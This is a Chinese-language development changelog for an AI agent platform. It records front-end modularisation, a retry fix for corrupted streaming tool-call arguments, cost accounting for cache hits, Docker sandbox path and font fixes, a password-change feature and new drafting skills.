- **前端模块化 Step 2:抽出 `files.js`(文件面板 + 选入 + 拖拽上传)**:右栏文件列表浏览/导航/删除/重命名 + 刷新 + "选入"弹框(跨目录勾选复制/移动)+ 拖拽 overlay + 上传(XHR 带进度)+ 上传状态条。代码原分散在 main.js **两段非连续区**(1133–1459 文件列表/选入/拖拽 + 1697–1786 上传 helper,中间夹着 media 段)→ 合并进 `files.js`(433 行)。导出 `loadFiles`/`scheduleFilesRefresh`(SSE 文件事件刷新)/`closeSrcPicker`(main Esc 关栈)/`uploadFiles`(聊天区粘贴/拖拽复用);其余入口模块顶层自绑。反向 import `openFilePreview`(preview)、`logout`(auth)、main glue `downloadFile`/`selectTask`/`loadTaskList`/`loadFolderSuggestions`(后三个加 `export`,后续随 tasks/newtask 模块化再迁)。依赖分析用"段内被调标识符 − 段内定义 − 叶子/全局"全量提取,补回固定清单漏掉的 `loadFolderSuggestions`/`loadTaskList`。main.js 删至 1619 行。`node --check` 双过、main 残留 files 私有符号清零、files 无未导入 glue、静态测试 2 过。
|
||||
- **前端模块化 Step 2:抽出 `preview.js`(文件预览 + mini 预览)**:文件预览主弹框(图/视频/PDF/文本/markdown/docx/xlsx,大文件降级下载,docx/xlsx 走 `loadScript` 懒加载 vendor)+ 同时再开的小窗预览(原 main.js 1687–2048)→ `preview.js`(379 行)。导出 `openFilePreview`/`openPasteFilePreview`/`closeFilePreview`/`closeMiniPreview`/`_categorize`(媒体段判图/视频用)。反向 import `downloadFile`(main 媒体段,加 `export`)、`logout`(auth)。**Esc 关弹窗栈处理器留 main**(跨模块协调 chpw/选入/文件预览/小预览,加了节注释)。**一处去耦**:`deletePastedFile`(留 main)原直接读 preview 私有 `_fpCurrentRel`/`_mpCurrentRel` 判断要不要关预览 → 改为 preview 导出封装 `closePreviewIfShowing(rel)`,行为不变但不泄漏内部 current-rel 状态(模块边界更干净;唯一非纯剪切的微调)。main.js 删至 2034 行。`node --check` 双过、preview 私有符号在 main 清零、无未导入 glue 引用、静态测试 2 过。
|
||||
- **前端模块化 Step 2:抽出 `auth.js`(首个 main↔模块 ES 环)**:登录(邮箱密码 / UUID+PLATFORM_KEY 两 tab)+ 管理员加用户 + 改密码三节(原 main.js 21–227)→ `auth.js`(218 行)。各入口在模块顶层自绑 onclick,只导出 `logout`(供全局 20 处 401 处理)/`closeChpwModal`(供 main 的 Esc 统一关弹窗栈)。反向 import main 的 glue `enterApp`/`embedPostToParent`/`embedShowWaiting`(main 给这三个加 `export`)——**首次引入 main↔auth 循环依赖**:三者皆 hoisted 函数声明、模块实例化即就绪,且只在运行时(点击/401)调用,绝不在顶层求值时触发 → ES live binding 下安全;这是增量拆单体的标准形态,后续 features↔glue 环同理。main.js 删至 2397 行。`node --check` 双过、auth 私有符号在 main 清零、静态测试仍 2 过。**逻辑零改动**。
|
||||
- **前端模块化 Step 2(起):从 main.js 抽出 `layout.js`**:三栏布局(pane 折叠 rail + 拖拽 splitter + 手机单列视图)是 main.js 里唯一对其他功能节零出边的干净段,用它打样增量剥离。`layout.js`(121 行):import `$` + 4 个 `LS_*_COLLAPSED/WIDTH`,只导出 `mqPhone`/`setMobileView`(后者供 selectTask 在手机宽下选中任务自动切对话面板,是唯一跨模块调用);折叠/splitter/mobile-tab 的顶层事件绑定原样保留(ES module 默认 defer,import 时 DOM 已就绪)。main.js 删 114 行 → 2606 行,加 layout import 并清掉随之不再用的 4 个 `LS_*` import。**逻辑零改动,纯剪切+连线**;`node --check` 过、main 残留 layout 私有符号清零。**顺手修 Step 1 遗留测试失败**:`test_static_vendor` 第二用例原只 grep `dev.html` 找 `formatContextStats`/`context_original_chars`/`cache_hit_tokens`,模块化后这些搬进 `js/*.js` → 改为扫 `dev.html + js/*.js` 合并源,2 测试全过。后续按干净度继续剥(下一个 auth = login+加用户+改密码,会引入 main↔auth 的 ES 环,靠 live binding 解)。
|
||||
- **修 deepseek-v4-flash 大参数工具调用 arguments 损坏 → loop 畸形重试 + 非流式兜底**:用户报"测试docx"任务里 zcbot 回 `[Error] bad arguments to write: WriteTool.execute() missing 2 required positional arguments`。实证定位(dump 失败 task 全量 messages):**大参数(≈7–10K 字符)的 write/run_python 偶发把别处内容碎片错位粘进 `arguments` 开头**(如 `].cells[1].merge(...{"path":...}`),`json.loads` 直接失败;有时退化成空 `{}` → execute 缺参报 TypeError。**根因双层**:① 上游 deepseek-v4-flash 流式 delta 偶发错位(隔离复现 16/16 全干净,说明概率低);② 真正放大成灾的是 **loop 把损坏的 assistant 消息原样入库 + 每轮重发 → 模型学坏的投毒级联**(失败 task 里大半 write 连锁失败)。读 litellm `stream_chunk_builder` 源码排除"content 混进 args"(content 与 tool_args 两趟独立合并);批量验证非流式 8/8、流式 8/8 在干净上下文均不复现 → 确认是间歇上游抖动 + loop 零容错。**修法**(`core/loop.py`):`_stream_llm` 重构成「拉一轮 → `_malformed_tool_calls` 校验 tool_call arguments 能否 `json.loads` → 不能则**丢弃整轮(不 append/不记账)重 roll**」,最多 3 次;最后一次降级 `_nonstream_once`(provider 服务端拼 tool_calls,绕开流式错位,content 整段补 emit)。断投毒环 + 不依赖猜准上游成因 + 不动正常路径。**backstop**:`executor_host.py` / `sandbox/tool_runner.py` 缺必填参数(空 `{}`)早返 `缺少必填参数 [...];请带齐 [...] 重新调用`,替掉暴露内部签名的 `missing N required positional arguments`。重试消耗 token 不单独记账(罕见路径)。tests 全过(唯一失败 `test_static_vendor::formatContextStats` 是前端 ES module 化遗留,与本改无关)。
|
||||
- **前端模块化 Step 2 收官**:把 main.js 剩余主体按干净度逐个剥成独立 ES module——layout / auth / preview / files / media / newtask / embed / chat(对话视图,合一个 chat.js 而非强拆 tasks+stream,因二者共享 state.liveRuns + run 生命周期)。main.js 2719→75 行入口;靠 ES live binding 解 main↔模块循环依赖;新增 import/export 一致性 + 从 main BFS 可达性校验。逻辑零改动纯剪切+连线。
|
||||
- **修 deepseek-v4-flash 大参数工具调用 arguments 损坏 → loop 畸形重试**:大参数(7-10K)write/run_python 偶发把碎片错位粘进 `arguments` 致 json 解析失败;真正放大成灾的是 loop 把损坏消息入库 + 每轮重发的投毒级联。`_stream_llm` 改「校验 tool_call arguments 能否 json.loads,不能则丢弃整轮(不入库)重 roll,最多 3 次,最后降级非流式」+ executor 缺参早返友好提示替掉暴露签名的 TypeError。
|
||||
|
||||
### 2026-06-05
|
||||
|
||||
- **前端模块化 Step 1:`dev.html` 单文件拆零构建 ES module(叶子优先)**:`web/static/dev.html` 原 4087 行(纯原生 JS、手写 `state` + 手动 DOM、零内联 `onclick` 全 `addEventListener`、唯一 `window.*` 是比较非赋值)。定方案「1 拆文件 → 2 后续引 Alpine/petite-vue 局部响应式 → 3 永不上 Vue+构建链」,本步只做 1。抽出 4 个无依赖叶子模块到 `web/static/js/`:`state.js`(`state` 单例 + `LS_*` + `EMBED*`)、`format.js`(escapeHtml/humanSize/fmtTokens/fmtCost/usage 系列等纯格式化)、`dom.js`(`$` + 浮层菜单 showMenu/hideMenu,import escapeHtml)、`api.js`(`api()` Bearer 封装,import state)、`markdown.js`(renderMd/highlightIn,依赖 vendor 全局)。剩余主体(login→boot,原 1387–4084)整体落 `main.js` 并 import 上述叶子;`dev.html` 内联大 `<script>` 换成一行 `<script type="module" src="js/main.js">`,降到 1121 行。**逻辑零改动,纯剪切+连线**。`app.py` 加 `mimetypes.add_type("text/javascript", ".js")` 兜底(防 Windows 把 `.js` 判 text/plain 致 module 拒执行;本机实测 `.js`→application/javascript 本就 OK,纯防御)。校验:6 模块 `node --check` 全过 + 无私有符号(`_menuItems`/`_embedQS`)泄漏到 main。后续步骤将从 main.js 把 login/tasks/stream/files/preview 等逐个剥成独立模块(tasks↔stream 循环依赖靠 ES live binding 解)。
|
||||
- **改密码弹框样式修复**:`#chpw-modal` 原先没专属 CSS,`.card` 只继承公共骨架(背景+圆角+阴影),缺 padding/width/表单整形 → 卡片被撑到近全宽、无内边距很素。改为复用「选入文件」弹框(`#src-picker-modal`)的头/体/脚分隔布局:标题区底部分隔线、表单内容包进 `.body`(内边距 16/18)、按钮区顶部分隔线右对齐,`.card` 收到 400px + flex column,input focus 红框高亮。纯 CSS/HTML 结构调整,无对外行为变化(不动 DESIGN/RUN)。
|
||||
- **run_python 过程脚本约定 `<task_dir>/scripts/`**:确认现状是模型生成的 `.py` 直接落 task_dir 根(系统提示只说"只写到 task_dir",无 scripts/ 分层),过程脚本和交付产物(.docx/.pptx/spec)混在一起。定调:**模型显式写文件再 `script_path` 跑的过程脚本** → `<task_dir>/scripts/`(可见/持久/可重跑,`WriteTool` 自动建父目录);**inline `code` 匿名片段** → 维持临时用后即焚(host 走系统 temp、docker 走 `.zcbot_tmp/<task_id>/` dotfile 隐藏+删,均不动)——不持久化到 scripts/,免把目录污染成匿名垃圾堆。改 `core/agent_builder.py` 系统提示工作目录段加一条 scripts/ 引导(>~15 行/要迭代/出产物用文件,短抛弃代码才内联)+ `tools/run_python.py` 的 tool description / `script_path` 参数说明同步。inline 执行逻辑两后端均未改。tests `test_run_python_script_path` / `test_executor_docker` 全过(2 skip 为 Linux-only)。
|
||||
- **新增 `standard` skill(国标/行标/团标起草)**:联网核实市面无可直接复用的"写标准文件本身"的 skill(搜到的 technical-proposal GB/T 8567、official-document GB/T 9704 都是相邻品类——投标书/公文,非标准),据 GB/T 1.1—2020 自建。覆盖三层级(国标 GB·T / 行标 JC·T / 团标 T/,重点对接 **CSTM → T/CSTM**,材料试验团标对口建材院检测方向)× 两体裁骨架(试验方法 GB/T 20001.4 + 产品标准)。文件:`SKILL.md`(阶段化:定层级体裁→八条 spec→逐章段段卡→自检渲染)+ 3 references(`gbt_1_1_structure` 要素骨架/必备可选/规范性资料性/封面前言套话、`standard_levels` 选型+CSTM 体系立项、`drafting_rules` 能愿动词应宜可能/不可考核词过滤/指标量化闭环/术语规则/引用真实性+§8 自检清单)+ 4 templates(spec/test_method/product_standard/编制说明)。**渲染复用 proposal `render_docx.py`+`render_diagrams.py`**(兄弟 skill `../proposal/scripts/`,同 patent 范式);冒烟测过表格/中文渲染正常。**坑**:proposal `quality_check.py` 按申报书固定章节名查"缺章节",对标准全是误报且无跳过开关→阶段三不用机检,改 drafting_rules §8 人工 12 条清单(与 patent self_check 同思路)。产出是结构合规草稿 docx,正式报批再灌官方 TCS/CSTM 模板做版式精修。
|
||||
- **dev 页加"改密码"功能 + 文件面板"选入"按钮文字改图标(防换行)**:① 自助改密码——`web/auth.py::change_password(user_id, old, new)`(验旧密码 → 新密码 ≥6 → bcrypt 重哈希写回,错误归一到现成 `UserCreateError` code 体系 `wrong_password/no_password/weak_password/user_not_found`,不为此新开异常类),`POST /v1/auth/change_password` 挂 `Depends(require_user)`(user_id 取自 JWT 不信前端,旧密码错/无密码→403、弱→400、行没了→401)。前端顶栏「退出登录」左侧加「改密码」按钮(`#hd-chpw`,并入 embed 隐藏规则——embed 模式不显示)+ 一个复用 `.modal` 骨架的弹框(旧/新/确认三项,前端先验长度+两次一致再提交,成功 `alert` 提示不登出,401 走 `logout()`)。否决"点用户名展开菜单"(多写菜单逻辑不划算)。② `#btn-src-pick` 的文字 `选入…` 改单字符图标 `⊕`(和旁边 `⬆ ↻ ›` 同款单色字形,`title` 保留"选入"语义)——原中文文字在窄面板偶发换行。
|
||||
- **记账给 DeepSeek 前缀缓存命中折价(修虚高 ~2-3x)+ 前端体现缓存命中/真实成本**:排查"rust 优势→PPT"那 task(flash,34 轮)发现 `tokens_in` 累计 69.9 万里 **88.6% 是缓存命中**,但 `usage.py::_fallback_chat_cost_cny` 把命中段也按 `input` 全价(1.0)算 → 记 ¥0.84,真实(命中按 0.1x)只 ~¥0.28,**越大的 task 虚高越多**(文献采集 53% 命中:¥33→~¥16)。修:① `ModelCapabilities` 加 `cache_hit_cny_per_mtoken`(deepseek flash 0.1 / pro 0.2;0=不区分按全价兜底,绝不少记);② 成本公式拆三段「命中×缓存价 + (input−命中)×input价 + output×output价」,`loop.py` 把 `cache_hit_tokens` + 缓存单价透传进 `record_chat_usage`;③ 前端不加 DB 列——`web/app.py` 加 `_usage_aggregates`(单查询 GROUP BY `usage_events`,复用列表 `msg_counts` 同款批量范式,无 N+1)on-the-fly 算每 task 真实成本 + chat token + 缓存命中,`_task_dict` 带出;列表行**不内联花费**、只显 tok 数,花费/缓存命中率藏 hover tooltip(`taskUsageTooltip`,多行:输入/输出拆分 · 命中 + 命中率 · ¥真实花费),顶栏额外内联简版。**折价只对新 chat 事件生效**,历史走 backfill 脚本(`scripts/backfill_chat_cost_cache_discount.py`,默认 dry-run,`--apply` 落库;`--assume-cache-hit-rate RATE` 给无 `cache_hit_tokens` 字段的老事件按估算命中率折价——DeepSeek 当时缓存了只是没记,全价偏高;实测过的事件用真实值不受影响)。**坑修**:命中率分母原误用 `tasks.tokens_prompt`,但该列会被「清空对话」重置而 `usage_events` 不重置 → 跨源相除算出 822% 怪值;改为 `_task_dict` 的 token 总量也优先取 usage_events 聚合(与 cache_hit 同源,命中率恒 ≤100%)。**注**:真正压低 token 体量的杠杆是减少轮数(高成本 task 全是 100+ 轮的逐步 write/run_python 循环),非本次范围。
|
||||
- **前端模块化 Step 1**:`web/static/dev.html` 4087 行单文件起步拆零构建 ES module(定方案「1 拆文件 → 2 局部引 petite-vue → 3 永不上 Vue+构建链」)。本步抽 5 个无依赖叶子(state/format/dom/api/markdown),主体落 main.js,`app.py` 加 `mimetypes.add_type` 兜底。逻辑零改动。
|
||||
- **改密码弹框样式修复**:`#chpw-modal` 复用「选入文件」弹框头/体/脚布局,纯 CSS。
|
||||
- **run_python 过程脚本约定 `<task_dir>/scripts/`**:显式写文件再 `script_path` 跑的过程脚本落 `scripts/`(可见/可重跑),inline `code` 匿名片段维持临时用后即焚。改系统提示 + tool 描述。
|
||||
- **新增 `standard` skill(国标/行标/团标起草)**:核实市面无可复用 skill,据 GB/T 1.1—2020 自建。覆盖三层级(重点对接 CSTM 团标)× 两体裁;渲染复用 proposal `render_docx`/`render_diagrams`;quality_check 对标准误报无跳过开关 → 改 drafting_rules §8 人工 12 条清单。
|
||||
|
||||
### 2026-06-04
|
||||
|
||||
- **ppt skill 版式 helper 收进可 import 的模块 + 修中文字体没真生效**:逐页生成是「每页一个 run_python」,以前 ~150 行 helper(配色常量/`add_textbox`/`apply_brand` 等)要在每页里默写一遍 —— 烧 token 且长 deck 里坐标会漂(第 7 页 `apply_brand` 跟第 2 页对不上)。抽出 `skills/ppt/scripts/pptx_helpers.py`,每页 `import pptx_helpers as P` 调用;新增 `new_presentation`/`load`(按文件实际尺寸回填画布常量,逐页进程间同步)/`add_slide`/`set_palette`(默认商务红,`spec_path=` 自动取 spec 前 3 个 hex 作主/辅/强调)入口。**字体修复**:python-pptx `font.name` 只写 `<a:latin>`,中文字形走 `<a:ea>` 槽位没设 → 「指定微软雅黑却没真生效」的根因;`set_text` 改为同时写 latin=Arial + ea/cs=微软雅黑,中英混排各命中正确字体。改 `layouts.md`(helper 块换成 import 起手 + API 速查,9 个示例全改 `P.` 调用)、`icons.md` A5 示例、`SKILL.md` 资源/阶段二。冒烟测试过:`ea` 确写入、`set_palette` 覆盖生效、quality_check 正常解析。
|
||||
- **ppt `quality_check.py` 加内容形状重叠检测**:原有数值检查只覆盖越界 + 按字数估算的文本溢出,盲区是"两个都在画布内的形状互相重叠"(文本框压图标/压另一文本框)。加纯数值两两包围盒重叠检测——**只检"内容形状"**(有非空文字 / 是图片),装饰元素(无文字纯色填充:品牌条/分隔线/圆点/色块标签/装饰星箭头)天然排除,"文字叠在色块上"也不误报(色块无文字)。交叠宽高均 >0.08in 且 交叠面积/较小形状面积 ≥25% 才报,滤掉边缘贴合。测试过:合规 deck(L2 徽章+字 / L5 标签叠 chip / L4 圆点+bullet)零告警、两文本框故意叠触发并报百分比+形状名。零依赖、确定性、host+docker 都跑。
|
||||
- **ppt `quality_check.py` 配色检查纳入形状填充色 + 改按三色制判定**:原来只数 `run.font.color`(文字色),品牌条/徽章/圆点/标签/底块的**填充色全漏**——而这些恰是最易跑偏处。加 `_shape_fill_hex`(取纯色实心填充,主题色/非实心挡掉)并入 `seen_colors`。同时把粗阈值「≤5 色」改成贴合三色制的「非灰阶色 ≤3」:`_is_neutral`(R/G/B 极差 ≤12 视为灰/黑/白)把中性色排除——否则一旦计入填充,合规商务红 deck(INK/GREY/HAIRLINE/BG/WHITE+3 红)轻松超 6 狂报假阳;spec 比对也只比非灰阶色。测试过:合规红 deck 无配色 warning、塞 4+ 彩色触发、ACCENT 强调线填充被正确捕获。
|
||||
- **前端顶栏展示用户已用存储**:后端已有 `user_disk_usage` 表(后台 15min 扫描落库),但无对外查询口。加 `GET /v1/user/storage`(`Depends(require_user)`),返 `{bytes_used, file_count, limit_bytes, scanned_at}`,`limit_bytes` 由 `parse_bytes(quotas.disk_bytes_per_user)` 得(≤0/None=不限)。`disk_quota.get_user_usage` 扩为返 `(bytes,count,scanned_at)` 三元组(复用而非新开函数,顺手改唯一调用方 `check_disk_quota` 解包)。前端 `dev.html` 右侧「文件」面板底部钉一条进度条+文字指示器(`#pane-right` 改 flex 列让 `#file-list` 独占滚动、存储条钉底;`loadStorage()` 在 `enterApp` 拉一次;不限额时只显已用、隐进度条;超额变红;hover 显文件数+统计时间)。
|
||||
- **sandbox 容器 env 收编到一处 + shell 也注入(修两个只读 rootfs 副作用)**:① `PYTHONPATH=/sandbox:/workspace` 原先只 `run_python` 注入,shell 里 `python -c "from skills..."` 撞 ModuleNotFoundError;② `--read-only` rootfs 下 `/home/zcbot` 不可写,matplotlib/fontconfig 往 `~/.config`/`~/.cache` 写缓存刷 "Read-only file system" / "No writable cache" 噪音。改:`executor_docker.py` 抽 `_CONTAINER_ENV = {PYTHONPATH, HOME=/tmp}`,shell/run_python/fs 三路共用(`-e` 确定性覆盖)—— `HOME=/tmp` 一刀让缓存落 tmpfs(matplotlib→/tmp/.config、fontconfig→/tmp/.cache),不用逐个 MPLCONFIGDIR/XDG_CACHE_HOME。纯代码改,重启 web 生效,免重建镜像。
|
||||
- **ppt 版式 helper 收进可 import 模块 + 修中文字体没真生效**:抽出 `pptx_helpers.py`(每页 `import P` 免默写 150 行 + 治长 deck 坐标漂移);字体修复=`set_text` 同时写 latin=Arial + ea/cs=微软雅黑(python-pptx `font.name` 只写 latin 是中文不生效根因)。
|
||||
- **ppt `quality_check.py` 加内容形状重叠检测**:纯数值两两包围盒,只检有文字/图片的内容形状(装饰元素天然排除),交叠 ≥25% 才报。
|
||||
- **ppt `quality_check.py` 配色纳入形状填充色 + 改三色制判定**:加 `_shape_fill_hex`,粗阈值「≤5 色」改「非灰阶色 ≤3」(`_is_neutral` 排中性色),否则合规红 deck 狂报假阳。
|
||||
- **前端顶栏展示用户已用存储**:`GET /v1/user/storage`(复用 `user_disk_usage` 表),右侧文件面板底部钉进度条;不限额只显已用。
|
||||
- **sandbox 容器 env 收编到一处 + shell 也注入**:`executor_docker` 抽 `_CONTAINER_ENV={PYTHONPATH=/sandbox:/workspace, HOME=/tmp}`,shell/run_python/fs 三路共用(修 shell 里 import skills 报错 + 只读 rootfs 下缓存写不进的噪音)。纯代码改重启生效。
|
||||
|
||||
### 2026-06-03
|
||||
|
||||
- **修 docker sandbox 下 system prompt 焊死宿主路径(agent 找不到自己的文件)**:`ZCBOT_SANDBOX_BACKEND=docker` 时 shell/run_python/fs 工具全在容器里跑(`<workspace>/users/<uid>` bind 到 `/workspace`),但 `_build_system_prompt` 注入的 `task_dir` / cwd 是宿主绝对路径(容器内不存在),LLM 据此 `find /home/ubuntu/zcbot ...` 全空、瞎转到 `pwd` 才发现真身在 `/workspace/<wd>`。修法同 `LoadSkillTool` 的 `container_skills_dir` 改写:docker 下 `task_dir` + 「宪法」glob 范例换成容器路径 `/workspace/<wd_rel>`,并去掉 docker 下无意义的 cwd 行(容器 cwd 恒等 task_dir);host 不变。
|
||||
- **顺扫清掉 SKILL.md 里残留的宿主路径假设(同 docker 隐患)**:`patent` 跨 skill 调 proposal 脚本原用 `<repo_root>/skills/proposal/...`(还举例硬编码 `D:/projects/zcbot`)→ 改兄弟 skill 相对 `<skill_dir>/../proposal/scripts/...`(两后端都对);`research` 的 `fetch_pdf` 范例硬编码 `working_dir=r"D:/..."` → 改 `<task_dir>` 占位;`patent`/`proposal`/`ppt` 的 `<task_dir>` 举例用废弃旧布局 `…/workspace/tasks/<task_id>/` → 改 host/docker 双形态说明。
|
||||
- **修 ppt 图标缓存写进只读挂载(docker 拉新图标失败)**:`fetch_icon.py -o <skill_dir>/assets/icons/` 在 docker 下 skills 是 `:ro` bind,写回必败;host 下还顺带污染仓库工作树。改为(方案 A,与"产物只写 task_dir"的全局规矩一致):种子图标库 `<skill_dir>/assets/icons/` 降为**只读**(glob 读),`fetch_icon.py` 新拉的图标一律 `-o <task_dir>/assets/icons/`;读路径改两处都 glob(种子库 + 本 task)。涉 `ppt/SKILL.md`、`references/icons.md`、`assets/icons/INDEX.md`;脚本本身已 `out.parent.mkdir`,无需改。
|
||||
- **默认镜像源改清华(pip+apt)/ 腾讯(npm)**:腾讯 PyPI 吐损坏 litellm wheel(index 声明 sha256 与文件实际字节不符,非篡改 = 镜像端文件损坏)。`deploy/update.sh` 三默认值改清华(境内稳 + 同步及时;npm 无清华源走腾讯);换默认让下次 build pip 层全量重跑一次。
|
||||
- **回退 `ZCBOT_WORKSPACE_DIR` env 覆盖,workspace 落数据盘改用 bind mount**:env 覆盖与 `core/paths.py` 锚 ROOT 的相对存储冲突 —— env 指向 ROOT 外致文件面板 / agent resume / 新建 task 三家分叉。`resolve_workspace` 回退成 `arg > cfg > 默`(均 ROOT 内),数据盘改用 bind mount(`/data/zcbot/workspace` → `ROOT/workspace`,DB 不改、dev 不受影响)。
|
||||
- **修 docker sandbox 下 system prompt 焊死宿主路径**:docker backend 时工具在容器跑但 `_build_system_prompt` 注入的是宿主绝对路径(容器内不存在),LLM 据此 find 全空。docker 下 `task_dir` + 宪法 glob 范例换容器路径 `/workspace/<wd_rel>` + 去掉无意义 cwd 行;host 不变。
|
||||
- **顺扫清掉 SKILL.md 里残留的宿主路径假设**:patent 跨 skill 调 proposal 脚本改兄弟相对路径;research/patent/proposal/ppt 的硬编码 `D:/projects/zcbot` 与废弃旧布局举例改双形态说明。
|
||||
- **修 ppt 图标缓存写进只读挂载**:种子图标库降为只读(glob 读),`fetch_icon.py` 新拉图标一律 `-o <task_dir>/assets/icons/`(与「产物只写 task_dir」一致)。
|
||||
- **默认镜像源改清华(pip+apt)/ 腾讯(npm)**:腾讯 PyPI 吐损坏 litellm wheel(镜像端文件损坏)。
|
||||
- **回退 `ZCBOT_WORKSPACE_DIR` env 覆盖,workspace 落数据盘改用 bind mount**:env 覆盖与 `paths.py` 锚 ROOT 的相对存储冲突致三家分叉,改 bind mount(`/data/zcbot/workspace`→`ROOT/workspace`)。
|
||||
|
||||
### 2026-06-02
|
||||
|
||||
- **【已于 06-03 回退,见上】`resolve_workspace` 加 env 覆盖 `ZCBOT_WORKSPACE_DIR`**:prod 想把 workspace 落独立数据盘且不碰共用 yaml,改优先级 `arg > env > cfg > 默`。回退因与相对存储锚点冲突(见上)。
|
||||
- **修 embed 模式"登录页一闪而过"(绘制时机,非鉴权)**:`#login` 在 `embedInit` 标记 `embed-mode` 前已被绘制;在 `<body>` 首行加同步内联脚本,`?embed=1` 时立即加 `embed-mode` class,赶在 `#login` 绘制前隐藏。只挪绘制闸门,底部握手逻辑不动。
|
||||
- **【已于 06-03 回退】`resolve_workspace` 加 env 覆盖 `ZCBOT_WORKSPACE_DIR`**:prod 想 workspace 落独立数据盘,回退因与相对存储锚点冲突。
|
||||
- **修 embed 模式「登录页一闪而过」**:`<body>` 首行加同步内联脚本,`?embed=1` 立即加 `embed-mode` class 赶在 `#login` 绘制前隐藏。绘制时机问题非鉴权。
|
||||
|
||||
### 2026-06-01
|
||||
|
||||
- **`deploy/update.sh` 加自更新重跑守卫**:`git pull` 会改脚本自身,首次拉到"改 update.sh"那轮跑的还是旧脚本行为。pull 后 diff 检出本脚本变更则 `exec` 用新版本从头重跑(标记防死循环),修"改了源仍报旧错"根因。
|
||||
- **`deploy/update.sh` 默认源改腾讯 + build 跳过改 `--skip-build` + 进度可见**:根因 = 阿里 PyPI 同步滞后缺 `litellm>=1.83`。默认镜像源改腾讯(host venv pip 显式拼 `--index-url`)、跳过 sandbox build 由 env 改 CLI flag、pip 去 `-q` 让进度可见。
|
||||
- **修 MP host 工具的全量下载(IP 被封根因)**:`mp_search_summary` 没传分页 → mp-api 默认翻完所有页 = 每搜一次整库级下载,MP 判 abusive 封 host IP。改 `num_chunks=1, chunk_size=limit` 服务端限量;`mp_get_entries` 天然全量(相图用途)只在 description 警示。**注:宿主 IP 仍被 MP 临时封,需邮件 support 人工解封后才能联网复测。**
|
||||
- **加一键部署脚本 `deploy/update.sh`(Ubuntu / systemd)**:`git pull → pip install → db upgrade → docker build sandbox → restart → curl /healthz`。两处钉死:migration 从 .env 抠 `ZCBOT_DB_URL` 喂 alembic;**build 必须在 restart 之前**(容器复用,restart 才换新镜像)。前置守卫:非 root / 非 git / 工作区脏 / 缺 .env 中止。
|
||||
- **sandbox 镜像加中文字体,修 matplotlib / mermaid 出图中文方块**:根因 = `deploy/sandbox/Dockerfile` 从 slim 起一个 CJK 字体都没装。加 `fonts-noto-cjk fonts-wqy-microhei` + `style.py` 候选首位加 Noto。改 Dockerfile 须重 build + 清旧容器才生效。
|
||||
- **documents / Materials Project 带 key 能力改 host-side tools,key 不进 sandbox**:新增 `tools/documents.py` + `tools/materials_project.py` 各三工具,仅宿主 env 有 key 时注册;写文件绑定 task_dir,模型不能传 working_dir。
|
||||
- **删 `skills/pymatgen/materials.py::mp_rester()`**:sandbox 内读 key 的旧入口,host tool 化后多余且违背"key 不进 sandbox",直接删;smoke 改走 host tool。换 next-gen MP key 后端到端复测通过。
|
||||
- **`deploy/update.sh` 加自更新重跑守卫**:`git pull` 改脚本自身时 `exec` 用新版本从头重跑(标记防死循环)。
|
||||
- **`deploy/update.sh` 默认源改腾讯 + build 跳过改 `--skip-build` + 进度可见**:根因=阿里 PyPI 同步滞后缺 `litellm>=1.83`。
|
||||
- **修 MP host 工具的全量下载(IP 被封根因)**:`mp_search_summary` 没传分页致每搜一次整库级下载被 MP 判 abusive 封 IP;改 `num_chunks=1` 服务端限量。(宿主 IP 仍需邮件 support 解封。)
|
||||
- **加一键部署脚本 `deploy/update.sh`(Ubuntu/systemd)**:`git pull → pip → db upgrade → docker build → restart → curl /healthz`;钉死两点:migration 从 .env 抠 `ZCBOT_DB_URL`、build 必须在 restart 之前。
|
||||
- **sandbox 镜像加中文字体**:Dockerfile slim 起一个 CJK 字体没装致 matplotlib/mermaid 出中文方块,加 `fonts-noto-cjk fonts-wqy-microhei`。
|
||||
- **documents / Materials Project 带 key 能力改 host-side tools,key 不进 sandbox**:新增 `tools/documents.py` + `tools/materials_project.py`,仅宿主 env 有 key 时注册,写文件绑 task_dir。
|
||||
- **删 `skills/pymatgen/materials.py::mp_rester()`**:sandbox 内读 key 的旧入口,host tool 化后多余且违背「key 不进 sandbox」。
|
||||
|
||||
### 2026-05-29
|
||||
|
||||
- **Seedream 5.0 i2i base64 通路 probe + DESIGN §8.1 落册**:实测豆包 Seedream 5.0 `/images/generations` 接受 `image_urls` base64 data URL → 内网部署无需对象存储中介。选 E+C 组合(`seedream` 加 `reference_images` + 新增 `look_at_image` 豆包 vision tool),本版仅 probe + design,tool 改造未启动。
|
||||
- **web 端 tool_call 标题行改显中文活动描述**:实时流分支读错字段(`arguments` vs 后端 emit 的 `args`)致 `<pre>` 一直空。修字段 + 新增 `toolActivityLabel(name,args)` 按 12 工具套中文动词(读取文件 / 执行命令 / 运行 Python / 联网搜索…)。纯前端,刷新即生效。
|
||||
- **Seedream 5.0 i2i base64 通路 probe + DESIGN §8.1 落册**:实测 `/images/generations` 接受 base64 data URL → 内网部署无需对象存储中介。选 E+C 组合,本版仅 probe + design,tool 改造未启动。
|
||||
- **web 端 tool_call 标题行改显中文活动描述**:修读错字段(`arguments` vs `args`)+ `toolActivityLabel` 按 12 工具套中文动词。
|
||||
|
||||
### 2026-05-28
|
||||
|
||||
- **`skills/review/SKILL.md` 加"长文档处理"段**:阶段 1 骨架扫描(只出目录 + 全局问题,不出修改稿,停下等用户挑章节)→ 阶段 2 分章深审 + 中间文件落盘。解长稿一轮处理易略读 / 覆盖不全 / 超输出限制。
|
||||
- **新增 `config/models/local.yaml`(family=local,variant r1 / qwen3)接内网 OpenAI 兼容推理服务,涉密任务专用**:`model_id` 加 `openai/` 前缀走兼容协议,`api_base` 指内网。关键 **`thinking_mode=false`**(R1 / Qwen3 天生推理,发 `reasoning_effort` 本地 vLLM 多半 400)。不改默认模型,涉密显式选;qwen3 跑通,r1 服务端调试中 500。
|
||||
- **修 `LoadSkillTool` 在 docker backend 返 host 绝对路径致容器内 fs 工具找不到 references**:skills/ bind mount 到容器 `/sandbox/skills`,容器内无 host 路径。加 `container_skills_dir` 参数,docker backend 时返 `/sandbox/skills/<name>`。所有 references-heavy skill 自动 work,不用逐个改 SKILL.md。
|
||||
- **新增 `analyze` skill(科学问题分析 / 拆解 / 引导)**:服务建材院 R&D 早期模糊问题翻译。四段式:PICO 规范化 → Issue Tree 拆解 → 按叶子类型分支(Fishbone / First-principles+TRIZ / DoE)→ 实施路线图。定位协调器不执行任务,接力下游 skill;不硬编"能力 → skill"映射(靠 runtime skill discovery 自匹配)。
|
||||
